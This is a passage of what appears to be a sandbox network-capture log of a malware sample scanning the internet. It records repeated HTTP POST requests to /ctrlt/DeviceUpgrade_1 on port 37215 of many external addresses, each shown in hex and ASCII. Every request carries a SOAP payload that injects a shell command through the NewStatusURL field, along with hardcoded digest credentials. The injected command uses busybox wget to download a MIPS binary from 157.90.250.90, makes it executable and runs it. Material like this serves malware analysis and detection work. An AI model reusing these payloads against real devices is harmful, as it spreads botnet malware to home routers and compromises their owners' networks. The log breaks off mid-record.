2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.14	43360	156.64.242.57	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.089126110 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.14	49322	41.114.48.9	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.089839935 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.14	36356	41.72.83.125	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.090487003 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.14	48250	197.37.224.195	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.091113091 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.14	37468	197.198.71.1	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.091762066 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.14	52120	197.195.158.99	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.092417002 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.14	46448	156.7.166.118	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.093113899 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.14	46914	197.174.91.252	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.093811035 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.14	47430	41.41.138.225	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.094495058 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.14	35768	41.240.186.144	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.095139027 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.14	38236	197.188.21.100	37215

Timestamp	Bytes transferred	Direction	Data
